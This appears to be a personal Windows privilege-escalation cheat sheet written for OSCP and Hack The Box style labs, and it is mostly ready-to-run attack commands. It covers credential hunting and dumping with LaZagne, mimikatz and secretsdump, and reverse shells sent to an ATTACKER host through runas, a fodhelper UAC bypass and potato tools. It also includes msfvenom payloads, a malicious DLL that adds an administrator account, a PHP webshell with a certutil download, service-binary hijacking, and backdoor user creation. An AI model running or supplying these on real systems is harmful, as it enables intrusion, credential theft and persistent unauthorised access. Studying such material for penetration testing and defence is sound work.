reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"

RunAs with known password (requires GUI/RDP — password prompt is interactive)

:: If you found a password for another user (config file, note, etc.)
runas /user:targetuser cmd
:: Enter password at the prompt. A new window opens as that user.
:: Does NOT work in bind shells or WinRM — the password prompt won't accept input.
:: Alternatives without GUI: evil-winrm, PSRemoting (Enter-PSSession), or scheduled tasks

Check 5 — Password Hunting

⚠️ DO NOT run findstr or dir /s from C:\ — gives infinite garbage. ALWAYS search from a specific directory: user home, web root, or program folder.

Credential Theft

CommandDescription
findstr /SIM /C:“password” *.txt *ini *.cfg *.config *.xmlSearch for files with the phrase “password”
gc ‘C:\Users\student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt’ | Select-String passwordSearching for passwords in Chrome dictionary files
(Get-PSReadLineOption).HistorySavePathConfirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePathReading PowerShell history file
$credential = Import-Clixml -Path ‘C:\scripts\pass.xml’Decrypting PowerShell credentials
cd c:\Users\student\Documents & findstr /SI /M "password" *.xml *.ini *.txtSearching file contents for a string
findstr /si password *.xml *.ini *.txt *.configSearching file contents for a string
findstr /spin "password" *.*Searching file contents for a string
select-string -Path C:\Users\student\Documents\*.txt -Pattern passwordSearch file contents with PowerShell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*Search for file extensions
where /R C:\ *.configSearch for file extensions
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction IgnoreSearch for file extensions using PowerShell
cmdkey /listList saved credentials
.\SharpChrome.exe logins /unprotectRetrieve saved Chrome credentials
.\lazagne.exe -hView LaZagne help menu
.\lazagne.exe allRun all LaZagne modules
Invoke-SessionGopher -Target SRV01Running SessionGopher
netsh wlan show profileView saved wireless networks
netsh wlan show profile ilfreight_corp key=clearRetrieve saved wireless passwords

PowerShell history (CHECK FIRST — most common on OSCP/PG)

:: CMD:
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
for /f "tokens=*" %u in ('dir /b C:\Users') do @type "C:\Users\%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
# PowerShell (evil-winrm):
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue
# All users:
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

Other Files

There are many other types of files that we may find on a local system or on network share drives that may contain credentials or additional information that can be used to escalate privileges. In an Active Directory environment, we can use a tool such as Snaffler to crawl network share drives for interesting file extensions such as .kdbx, .vmdk, .vdhx, .ppk, etc. We may find a virtual hard drive that we can mount and extract local administrator password hashes from, an SSH private key that can be used to access other systems, or instances of users storing passwords in Excel/Word Documents, OneNote workbooks, or even the classic passwords.txt file. A password found on a share drive or local drive often leads to either initial access or privilege escalation. Many companies provide each employee with a folder on a file share mapped to their user id (e.g. the folder bjones on the users share on a server called FILE01) with loose permissions applied, so users often save sensitive data there unaware it is readable by everyone on the network.

Manually Searching the File System for Credentials

We can search the file system or share drive(s) manually using the following commands (from this cheatsheet).

Search file contents for a string (cmd):

cd c:\Users\student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Search file contents with PowerShell:

select-string -Path C:\Users\student\Documents\*.txt -Pattern password

Search for file extensions (cmd):

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ *.config

Search for file extensions with PowerShell:

Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore

⚠️ Get-History vs PSReadline: Clear-History only clears PowerShell’s own Get-History buffer. It does NOT clear the PSReadline file. Most admins think they cleared their history but the file is untouched.

# Find the PSReadline history path (confirms location per user)
(Get-PSReadlineOption).HistorySavePath

Step 1b: PowerShell Transcript files (often overlooked goldmine)

If PowerShell Transcription is enabled, every command+output is logged to a file. Contains plaintext passwords from ConvertTo-SecureString, Enter-PSSession -Credential, etc.

# Works in both CMD and PS:
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\Public\Transcripts -ErrorAction SilentlyContinue

Step 2: Targeted search from user home directory

:: CMD:
cd %USERPROFILE%
findstr /SIM /C:"pass" *.ini *.cfg *.xml *.txt *.config
# PowerShell (evil-winrm):
cd $env:USERPROFILE
Get-ChildItem -Recurse -Include *.ini,*.cfg,*.xml,*.txt,*.config -ErrorAction SilentlyContinue | Select-String "pass" -List | Select Path

Step 3: Check known credential locations

# These all work in PowerShell (use Get-Content, not type, if wildcards are needed)
Get-Content $env:APPDATA\FileZilla\recentservers.xml -ErrorAction SilentlyContinue
Get-Content $env:APPDATA\FileZilla\sitemanager.xml -ErrorAction SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -ErrorAction SilentlyContinue
Get-Content C:\xampp\htdocs\wp-config.php -ErrorAction SilentlyContinue
Get-Content C:\xampp\phpMyAdmin\config.inc.php -ErrorAction SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini -ErrorAction SilentlyContinue
Get-Content C:\Windows\Panther\Unattended.xml -ErrorAction SilentlyContinue
Get-Content C:\Windows\System32\sysprep\Unattend.xml -ErrorAction SilentlyContinue
Get-Content C:\ProgramData\McAfee\Common\Framework\SiteList.xml -ErrorAction SilentlyContinue

Step 4: Check other users’ stuff (if accessible)

# PowerShell (works in evil-winrm):
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.kdbx,*.rdp -ErrorAction SilentlyContinue | Where-Object {$_.FullName -notlike '*AppData\Local\Microsoft*'} | Select FullName
Get-ChildItem -Path C:\Users\*\.ssh -ErrorAction SilentlyContinue | Select FullName

Step 5: AutoLogon registry (plaintext passwords)

# Works in both CMD and PS:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"

Step 6: Credential Manager

cmdkey /list
:: If entries exist:
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe ATTACKER 80 -e cmd.exe"

Step 7: Search non-default directories on C:\

# Look at C:\ root for anything unusual
Get-ChildItem C:\
# Then search inside suspicious directories
Get-ChildItem -Path C:\backup -Recurse -Include *.txt,*.xml,*.ini,*.config -ErrorAction SilentlyContinue | Select-String "pass" -List | Select Path

Step 8: Hidden AppData — the folder dir won’t show you

dir C:\Users\Administrator does NOT show AppData. It’s hidden. But it’s full of saved creds from apps like RDCMan, mRemoteNG, PuTTY, WinSCP, FileZilla, etc. WinPEAS does NOT check most of these.

One command to find everything with “password” in hidden AppData:

Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -ErrorAction SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path

Then read whatever it finds:

Get-Content "<PATH_FROM_ABOVE>" -ErrorAction SilentlyContinue

Also check registry for saved sessions:

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>$null
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" 2>$null
# KeePass databases (crack with keepass2john)
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Documents in current user's home
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

Lesson from Mice (PG): findstr /SIM /C:"pass" *.ini *.cfg *.xml from user home found FileZilla XML with FTP creds. The old dir /s /b C:\*pass* command gave pages of garbage and found nothing useful.

Sticky Notes Passwords

## Sticky Notes Passwords
##People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.

#### Viewing Sticky Notes Data Using PowerShell
# This can also be done with PowerShell using the [PSSQLite module](https://github.com/RamblingCookieMonster/PSSQLite). First, import the module, point to a data source
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process Execution Policy Change  
PS C:\htb> cd .\PSSQLite\ 
PS C:\htb> Import-Module .\PSSQLite.psd1 
PS C:\htb> $db = 'C:\Users\student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite' 
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap

#### Strings to View DB File Contents, We can also copy them over to our attack box and search through the data using the `strings` command, which may be less efficient depending on the size of the database.
Jean8895@htb[/htb]$  strings plum.sqlite-wal

Other Interesting Files

### Some other files we may find credentials in include the following:

%SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts C:\ProgramData\Configs\* C:\Program Files\Windows PowerShell\*

Automatic Credential Hunt Tools

Running SessionGopher as Current User


We need local admin access to retrieve stored session information for every user in `HKEY_USERS`, but it is always worth running as our current user to see if we can find any useful credentials.

PS C:\htb> Import-Module .\SessionGopher.ps1   PS C:\Tools> Invoke-SessionGopher -Target SRV01

Running All LaZagne Modules

.\lazagne.exe all

Cracking Protected Files

pdf2john file.pdf > hash.txt
zip2john file.zip > hash.txt
keepass2john file.kdbx > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Check 6 — AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f msi -o evil.msi
# Transfer, then: msiexec /quiet /qn /i C:\Windows\Temp\evil.msi

Check 7 — SAM/SYSTEM Backups

dir C:\Windows\Repair\SAM
dir C:\Windows\Repair\SYSTEM
dir C:\Windows\System32\config\RegBack\SAM
dir C:\Windows\System32\config\RegBack\SYSTEM

If accessible:

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Check 8 — Scheduled Tasks

Three questions to answer for each task:

  1. Who does it run as? (Run As User = SYSTEM or admin = worth exploiting)
  2. When does it run? (Next Run Time — must be in the future or recurring)
  3. What does it execute? (Task To Run — is the binary/script writable by us?)
:: Full dump (verbose)
schtasks /query /fo LIST /v
:: Filtered views
schtasks /query /fo LIST /v | findstr /i "Task To Run" | findstr /i /v "system32"
schtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM\|Administrator"

Exploitation: Same as service binary hijacking — replace the script/binary with your payload.

:: Check if you can write to the binary location
icacls "C:\path\to\scheduled\binary.exe"
:: If writable, replace with adduser.exe or nc.exe reverse shell
move C:\path\to\binary.exe binary.exe.bak
copy C:\Windows\Temp\adduser.exe C:\path\to\binary.exe
:: Wait for the scheduled task to fire

If only the parent dir is writable: del binary.exe + copy malicious.exe binary.exe (ACL inheritance can grant dir write but not file write). Manual trigger: schtasks /run /tn "TaskName" — works for some tasks, skips waiting for Next Run Time. Try before committing to a wait plan.


Check 9 — Installed Software and Non-Default Directories

wmic product get name,version,vendor
dir "C:\Program Files"
dir "C:\Program Files (x86)"
# Registry-based app list (more complete than wmic — catches apps wmic misses)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Critical: always check C:\ root for non-default directories:

dir C:\

Look for anything that isn’t Windows, Program Files, Users, PerfLogs. Directories like C:\ftp, C:\backup, C:\work, C:\dev, C:\tools are placed there intentionally and contain clues.


Check 10 — DLL Hijacking

DLL search order (safe mode enabled — default on all modern Windows):

  1. Application directory
  2. System directory (System32)
  3. 16-bit system directory
  4. Windows directory
  5. Current directory
  6. PATH environment variable directories
echo %PATH%
:: Check for writable directories in PATH
icacls "C:\some\path\in\PATH"

Methodology:

  1. Copy target binary to a test VM, install it, run Process Monitor (Procmon) as admin
  2. In Procmon: Filter → Process Name is target.exe, Operation is CreateFile, Path contains .dll, Result is NAME NOT FOUND
  3. Any DLL showing NAME NOT FOUND in the app directory = missing DLL you can plant
  4. Confirm you can write to that directory: echo test > "C:\App Dir\test.txt"
  5. Cross-compile malicious DLL and place it there

Malicious DLL template (C++):

// evil.cpp — DLL_PROCESS_ATTACH fires when the DLL is loaded
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("net user pwned Password123! /add");
            system("net localgroup administrators pwned /add");
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
# Cross-compile DLL on Kali
x86_64-w64-mingw32-gcc evil.cpp --shared -o TextShaping.dll

Or use msfvenom (simpler, but may get caught by AV):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=y -f dll -o evil.dll

⚠️ The DLL runs with the privileges of whoever starts the application. If a low-priv user runs it, you get low-priv execution. Wait for or trick a high-priv user into running the app.


Check 11 — Internal Services

netstat -ano | findstr LISTENING

Look for services bound to 127.0.0.1 — these are invisible to external nmap scans and may run as SYSTEM. Note: 0.0.0.0 means listening on ALL interfaces (including localhost). 127.0.0.1 means localhost ONLY.

Identify what process owns each port

:: Admin required:
netstat -anob
:: Non-admin — look up individual PIDs:
tasklist /FI "PID eq 4260"
:: If tasklist is access-denied, try:
Get-Process -Id 4260 | Select-Object Name,Path

One-liner: map ALL listening ports to process names (no admin needed):

Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort

Interacting with MySQL through evil-winrm (non-interactive)

Evil-WinRM hangs on interactive prompts (like mysql -u root -p). Use non-interactive flags:

:: From C:\xampp\mysql\bin:
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "SELECT user,host FROM mysql.user;"
.\mysql.exe -u root -e "USE wordpress; SELECT * FROM wp_users;"

The -e flag runs the query and exits — no interactive prompt, no hanging. XAMPP MySQL often has a blank root password. Always try --password="" first.

Interacting with localhost services from Windows (PowerShell):

# PowerShell 'curl' is an alias for Invoke-WebRequest — NOT linux curl
curl http://127.0.0.1/?test -UseBasicParsing              # -UseBasicParsing required
(curl http://127.0.0.1/?test -UseBasicParsing).RawContent  # .RawContent for readable text
# .Content may return byte arrays — use .RawContent instead

# Alternative: Invoke-WebRequest explicitly
(Invoke-WebRequest -Uri "http://127.0.0.1:8080/api" -UseBasicParsing).Content

Forward localhost services to your attack box:

# Chisel
# Attacker: ./chisel server -p 9999 --reverse
# Target: .\chisel.exe client ATTACKER:9999 R:80:127.0.0.1:80
# Then browse http://127.0.0.1:80 on Kali

⚠️ Common mistake: If the service is bound to 127.0.0.1:1337, the chisel forward MUST use 127.0.0.1:1337 — NOT the machine’s external IP. The service only accepts connections on loopback.


Check 12 — UAC Bypass

whoami /groups | findstr /i "Medium Mandatory"

If medium integrity + local admin:

reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe

Check 13 — Credential Dumping

lazagne.exe all
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

Checks 14-18 — Additional Vectors

# 14. Browser saved passwords
dir /s /b C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data

# 15. WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear

# 16. Clipboard
powershell -c "Get-Clipboard"

# 17. Mapped drives and shares
net use
net share

# 18. Kernel exploits (LAST RESORT)
systeminfo > systeminfo.txt
# Transfer to Kali: python wes.py systeminfo.txt

Lateral Movement via Webshell (When Your User Has No Privesc Path)

If your current user has no SeImpersonate, no service misconfigs, nothing — check if there’s a web server running. If you can write to the web root AND the web server runs as a different user, you can pivot through a webshell.

# 1. Check if you can write to web root
echo "test" > C:\xampp\htdocs\test.txt

# 2. Drop a PHP webshell
Set-Content -Path "C:\xampp\htdocs\cmd.php" -Value '<?php system($_GET["cmd"]); ?>'

# 3. From Kali, check who the web server runs as
curl "http://TARGET/cmd.php?cmd=whoami"
curl "http://TARGET/cmd.php?cmd=whoami+/all"
# If SeImpersonatePrivilege = Enabled → get shell as that user → potato → SYSTEM

# 4. Transfer tools via webshell
curl "http://TARGET/cmd.php?cmd=certutil+-urlcache+-split+-f+http://ATTACKER/nc.exe+C:\xampp\htdocs\nc.exe"

# 5. Get reverse shell as web server user
curl "http://TARGET/cmd.php?cmd=C:\xampp\htdocs\nc.exe+ATTACKER+443+-e+cmd.exe"

Common web roots: C:\xampp\htdocs, C:\inetpub\wwwroot, C:\wamp\www


When Automated Tools Find Nothing

If WinPEAS, whoami /priv, and service checks all come up empty, don’t panic. The privesc is information-based:

  1. dir C:\ — look for non-default directories. Anything custom is a clue.
  2. Read everything accessible — home directories, Desktop, Documents, web roots, config files. Crack any password-protected files.
  3. netstat -ano | findstr LISTENING — find localhost-only services. These run as higher-privilege accounts and are invisible to external scans.
  4. Check running processestasklist /v for services running as SYSTEM with unusual paths.
  5. Re-enumerate — with any new information discovered, search again.

The pattern: Find file → crack it → read it → discover hidden service → use it.


Windows Group Membership and Re-Login

Critical gotcha: Adding a user to a group (e.g., net localgroup Administrators user /add) does NOT take effect in the current session.

Windows creates an access token at login time that contains your group memberships. That token is fixed for the entire session. To pick up new group membership, you must start a completely new session:

# After adding to a group:
exit                    # close current session
ssh user@target         # new SSH = new token
# or new RDP session, or runas

Full Token Privileges Reference (Check 1 expanded)

PrivilegeWhat it meansExploit
SeImpersonatePrivilegeImpersonate any tokenPotato attacks → SYSTEM
SeAssignPrimaryTokenPrivilegeAssign tokens to processesSame as SeImpersonate → Potato
SeBackupPrivilegeRead any filereg save SAM/SYSTEM → secretsdump
SeRestorePrivilegeWrite any fileOverwrite service binary or DLL
SeTakeOwnershipPrivilegeTake ownership of any objectTake ownership → modify ACL → read/write
SeDebugPrivilegeDebug any processDump LSASS → Mimikatz
SeLoadDriverPrivilegeLoad kernel driversLoad vulnerable driver → kernel exploit

Additional Potato Variants

PotatoWhen to use
PrintSpooferPrint Spooler running. Simplest. Try first.
GodPotatoMost broadly compatible. Try second.
SharpEfsPotatoUses EFS service. Alternative when others fail.
RoguePotatoServer 2019+. Needs Kali for relay.
SweetPotatoCombines multiple techniques.
:: SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd"

:: RoguePotato (needs socat on Kali: socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999)
RoguePotato.exe -r KALI_IP -e "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe" -l 9999

When Potatoes Fail:

PrintSpoofer fails → Print Spooler disabled. Check: sc query spooler
JuicyPotato fails → Wrong CLSID or OS. Try different CLSIDs.
All fail → SeImpersonatePrivilege might show "Disabled". Find another vector.

Phantom DLL Hijacking

Some apps try to load DLLs that don’t exist anywhere on the system. If a directory in the PATH is writable, you can plant your DLL there.

:: Check for writable directories in PATH
echo %PATH%
icacls "C:\some\path\in\PATH"
:: If writable: place your malicious DLL with the exact name the app expects
copy evil.dll "C:\writable\path\missing.dll"
# PS: check each PATH directory
$env:PATH -split ';' | ForEach-Object { icacls $_ 2>$null }

Phantom DLLs are found via Process Monitor (filter: Result=NAME NOT FOUND, Path ends with .dll)

x

Writable Service Binary Hijack (step-by-step)

WinPEAS shows something like:

Apache Server ["C:\xampp\apache\bin\httpd.exe" -k runservice] - Autoload
File Permissions: Authenticated Users [Allow: WriteData/CreateFiles]

This means: you can replace the service binary, and when the service restarts, it runs YOUR code as the service account (usually SYSTEM).

# Step 1: Find the exact service name
Get-Service | Where-Object {$_.DisplayName -like '*apache*'}
# Or: sc.exe query type= service state= all | findstr /i "apache"

# Step 2: Check WHO the service runs as
sc.exe qc Apache2.4
# Look for SERVICE_START_NAME: LocalSystem = SYSTEM = jackpot
# Also check START_TYPE: AUTO_START means it restarts on reboot too

# Step 3: Backup the original binary
move "C:\xampp\apache\bin\httpd.exe" "C:\xampp\apache\bin\httpd.exe.bak"

# Step 4: Generate your payload ON KALI (must be an exe that connects back)
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=443 -f exe -o httpd.exe
# Or use adduser.exe if reverse shell fails:
# x86_64-w64-mingw32-gcc adduser.c -o httpd.exe

# Step 5: Upload payload with the SAME NAME as the original binary
upload httpd.exe C:\xampp\apache\bin\httpd.exe
# Or: certutil -urlcache -f http://KALI/httpd.exe C:\xampp\apache\bin\httpd.exe

# Step 6: Start listener on Kali
# rlwrap nc -lvnp 443

# Step 7: Restart the service
sc.exe stop Apache2.4
sc.exe start Apache2.4
# If "Access Denied" on stop/start → wait for reboot (if AUTO_START)
# Or: shutdown /r /t 0 (if you have SeShutdownPrivilege)

Common mistakes:

  • Adding .exe to service namessc.exe qc auditTracker NOT sc.exe qc auditTracker.exe. The service NAME and the FILENAME are different things. .exe in sc.exe commands = instant failure.
  • Using svc instead of sc.exesvc doesn’t exist. Always sc.exe
  • Renaming nc.exe to httpd.exe — won’t work because nc.exe needs arguments (-e cmd.exe). Use msfvenom.
  • Forgetting to start a listener before restarting the service
  • Service name wrong — use Get-Service to find the exact name

When you can’t stop/start the service (access denied) AND can’t reboot (access denied):

# Check if service auto-restarts on failure
sc.exe qfailure auditTracker
# If RESTART is listed as a failure action → the service will restart itself
# Your msfvenom binary will crash (it's not a real service) → triggers auto-restart → shell
# Just wait 1-2 minutes after uploading your payload

# Alternative: check if the service is currently running
sc.exe query auditTracker
# If STOPPED → you might be able to start it even without admin
sc.exe start auditTracker

When Get-CimInstance gives “access denied” (not admin):

# Broad registry search — works without admin, finds services + tasks + autorun
reg query HKLM /s /f "binaryname" 2>$null
# If it appears under HKLM\SYSTEM\CurrentControlSet\Services\ → it's a service
# Then use sc.exe qc SERVICENAME to check who runs it

This same technique works for ANY writable service binary, not just Apache. WinPEAS flags these with File Permissions: ... [Allow: WriteData] or [AllAccess]


Service Config Details (sc qc)

:: Get full config of a service
sc qc <servicename>
:: Shows: BINARY_PATH_NAME, SERVICE_START_NAME (who it runs as), START_TYPE
:: If BINARY_PATH_NAME is writable and SERVICE_START_NAME is LocalSystem → game over

Additional Credential Locations (old eCPPT notes)

:: VNC passwords (encrypted but crackable)
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKCU\Software\TightVNC\Server" 2>nul

:: SNMP community strings
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" 2>nul

:: IIS .NET Framework config (another web.config location)
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
# PS equivalents:
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>$null
reg query "HKCU\Software\TightVNC\Server" 2>$null
Get-Content C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config -EA SilentlyContinue

Additional Automated Tools

:: Beyond WinPEAS and PowerUp:
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
.\Jaws-enum.ps1

Adding Users (Persistence / If You Need Stable Access)

net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup "Remote Management Users" hacker /add

Remember: new group membership requires a NEW session to take effect.


Pass the Hash — From Windows

:: pth-winexe (from Kali, using pass-the-hash to get a shell)

Quick Reference — Locations to Always Check

C:\Users\<user>\Desktop\           flags, notes, shortcuts
C:\Users\<user>\Documents\         interesting files
C:\Users\<user>\Downloads\         downloaded tools/creds
C:\Users\<user>\AppData\           HIDDEN! Use -Force or full path
C:\xampp\                          web configs, passwords.txt
C:\inetpub\wwwroot\               IIS web root, web.config
C:\Windows\repair\                SAM backups
C:\Windows\System32\config\       SAM, SYSTEM, SECURITY
C:\windows.old\                   OLD OS files (creds from previous install!)
C:\ProgramData\                   app data, startup items
C:\Program Files\                 installed software (searchsploit versions)

Quick Decision Tree — Windows PrivEsc

whoami /priv shows SeImpersonatePrivilege 
└── Potato attack (PrintSpoofer  GodPotato  JuicyPotatoNG)

Found a writable service binary 
└── Replace with reverse shell  restart service

Found unquoted service path with writable dir 
└── Place payload in writable directory  restart service

Found saved credentials (cmdkey /list) 
└── runas /savecred /user:admin C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe

Found readable SAM/SYSTEM 
└── Extract  secretsdump  pass the hash

Found auto-login in registry 
└── Use those creds on RDP, WinRM, SMB

Found cleartext password in config/history/AppData 
└── Try on all services, try on all machines (reuse!)

Found writable scheduled task 
└── Inject payload  wait for execution

Found AlwaysInstallElevated = 1 
└── msfvenom MSI payload  msiexec

Medium integrity + local admin 
└── UAC bypass (fodhelper)

Nothing obvious from manual checks 
└── Run WinPEAS  focus on red/yellow highlights
└── Run Hidden AppData search  check for saved creds
└── Check running processes for custom apps  searchsploit